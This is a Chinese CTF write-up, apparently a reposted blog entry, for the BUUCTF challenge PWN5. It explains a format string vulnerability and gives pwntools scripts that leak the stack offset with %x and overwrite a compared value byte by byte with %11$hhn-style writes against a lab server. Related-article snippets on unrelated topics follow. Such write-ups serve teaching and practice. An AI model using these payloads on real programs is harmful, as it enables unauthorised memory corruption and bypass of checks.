[第五空间2019 决赛]PWN5

2024-06-23 09:20
文章标签 空间 2019 决赛 第五 pwn5

本文主要是介绍[第五空间2019 决赛]PWN5,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

参考文章:

格式化字符串漏洞原理及其利用(附带pwn例题讲解)_格式化字符串攻击教程-CSDN博客

格式化字符串漏洞原理详解_静态编译 格式化'字符串漏洞-CSDN博客

BUU pwn [第五空间2019 决赛]PWN5 //格式化字符串漏洞 - Nemuzuki - 博客园 (cnblogs.com)

栈溢出保护(cannary)

数据溢出保护(NX)

运行一下看看

输入对比

看源代码

首先第一步

发现后门

第二步找漏洞

这道题的漏洞是格式化字符串漏洞,详细的可以去看我开头引用的两个博客

我们的思路就是,找到我们数据输入的地方,然后把对比的数据的地址拿到,用我们输入的去给需要对比的数据赋值

我们先来找到我们数据的偏移量

from pwn import *
sh=remote('node5.buuoj.cn',27574)
payload = b'aaaaaaa\n %x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x'
sh.sendline(payload)
sh.sendline(str(0x10101010))
sh.interactive()

大家可以自己数一数,第十个就是我们输入的aaaa

接下来我们来看一下我们对比的数据的地址

可以看见

一共有四个数据段,一个数据段是一个字节

所以我们下面的代码要用 hhn(一个字节表示)

from pwn import *
sh=remote('node5.buuoj.cn',27574)
payload = p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)+b'%11$hhn%10$hhn%13$hhn%12$hhn'
sh.sendline(payload)
sh.sendline(str(0x10101010))
sh.interactive()

因为这个数据段,四个字节,我们每个字节都写入,一个0x803c047,4个字节 ,那么四个地址,16=0x10

然后我一直有几个点没动

看了好久这个exp,终于搞懂了

 三个点:

第一个这个后面的%11 12什么的,顺序随便,因为输入的数一样的,都是0x10

第二个,为什么是0x10101010,因为我们输入的数据要对比也是dword,我们传入0x10,在地址上也就是四个连续的0x10,这样就和

这个数据段对上了

第三个:为什么地址在前面-----这是无符号参数print的写法

地址在前面

最后这个exp就ok了

这篇关于[第五空间2019 决赛]PWN5的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1086756

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

【高等代数笔记】线性空间(一到四)

3. 线性空间 令 K n : = { ( a 1 , a 2 , . . . , a n ) ∣ a i ∈ K , i = 1 , 2 , . . . , n } \textbf{K}^{n}:=\{(a_{1},a_{2},...,a_{n})|a_{i}\in\textbf{K},i=1,2,...,n\} Kn:={(a1​,a2​,...,an​)∣ai​∈K,i=1,2,...,n

win7系统中C盘空间缩水的有效处理方法

一、深度剖析和完美解决   1、 休眠文件 hiberfil.sys :   该文件在C盘根目录为隐藏的系统文件,隐藏的这个hiberfil.sys文件大小正好和自己的物理内存是一致的,当你让电脑进入休眠状态时,Windows 7在关闭系统前将所有的内存内容写入Hiberfil.sys文件。   而后,当你重新打开电脑,操作系统使用Hiberfil.sys把所有信息放回内存,电脑

求空间直线与平面的交点

若直线不与平面平行,将存在交点。如下图所示,已知直线L过点m(m1,m2,m3),且方向向量为VL(v1,v2,v3),平面P过点n(n1,n2,n3),且法线方向向量为VP(vp1,vp2,vp3),求得直线与平面的交点O的坐标(x,y,z): 将直线方程写成参数方程形式,即有: x = m1+ v1 * t y = m2+ v2 * t

[Linux]:环境变量与进程地址空间

✨✨ 欢迎大家来到贝蒂大讲堂✨✨ 🎈🎈养成好习惯,先赞后看哦~🎈🎈 所属专栏:Linux学习 贝蒂的主页:Betty’s blog 1. 环境变量 1.1 概念 **环境变量(environment variables)**一般是指在操作系统中用来指定操作系统运行环境的一些参数,具有全局属性,可以被子继承继承下去。 如:我们在编写C/C++代码的时,在链接的时候,我们并不知

【编程底层原理】方法区、永久代和元空间之间的关系

Java虚拟机(JVM)中的内存布局经历了几个版本的变更,其中方法区、永久代和元空间是这些变更中的关键概念。以下是它们之间的关系: 一、方法区: 1、方法区是JVM规范中定义的一个概念,它用于存储类信息、常量、静态变量、即时编译器编译后的代码等数据。 3、它是JVM运行时数据区的一部分,与堆内存一样,是所有线程共享的内存区域。 二、永久代(PermGen): 1、在Java SE 7之前,

算法复杂度 —— 数据结构前言、算法效率、时间复杂度、空间复杂度、常见复杂度对比、复杂度算法题(旋转数组)

目录 一、数据结构前言 1、数据结构 2、算法 3、学习方法 二、 算法效率 引入概念:算法复杂度  三、时间复杂度 1、大O的渐进表示法 2、时间复杂度计算示例  四、空间复杂度 计算示例:空间复杂度 五、常见复杂度对比 六、复杂度算法题(旋转数组) 1、思路1 2、思路2 3、思路3 一、数据结构前言 1、数据结构         数据结构(D

Oracle 查看表空间名称及大小和删除表空间及数据文件方法

--1、查看表空间的名称及大小  SELECT t.tablespace_name, round(SUM(bytes / (1024 * 1024)), 0) ts_size  FROM dba_tablespaces t, dba_data_files d  WHERE t.tablespace_name = d.tablespace_name  GROUP BY t.tablespace_na

气膜场馆:乡村振兴中的健康与经济新引擎—轻空间

随着乡村振兴战略的深入推进,气膜场馆作为新兴建筑形式,正在为农村地区带来全新的发展机遇。它不仅是乡村百姓锻炼身体的好去处,更是带动当地经济发展的强劲动力。 首先,气膜场馆为农村地区的居民提供了更多运动健身的机会。与传统体育设施相比,气膜场馆建设周期短、成本低,非常适合在乡村快速推广。通过提供羽毛球、篮球、排球等多种运动项目,村民可以在空闲时间增强体质,改善生活方式。这对于长期从事农业劳动的村

c++的名字空间

名字空间 什么是名字空间 在C语言中定义的全局变量、函数、结构、联合、枚举、枚举值、宏都在全局作用域下,所以当项目比较庞大时,非常容易造成命名冲突(以模块名作前缀、后缀),所以C++中选择把全局作用域进行拆分成 子作用域进行管理,这些子作用域就是作名字空间。 如何设计名字空间 namespace 空间名 {// 子作用域在该作用域中定义全局变量、函数、结构、联合、枚举、枚举值...,不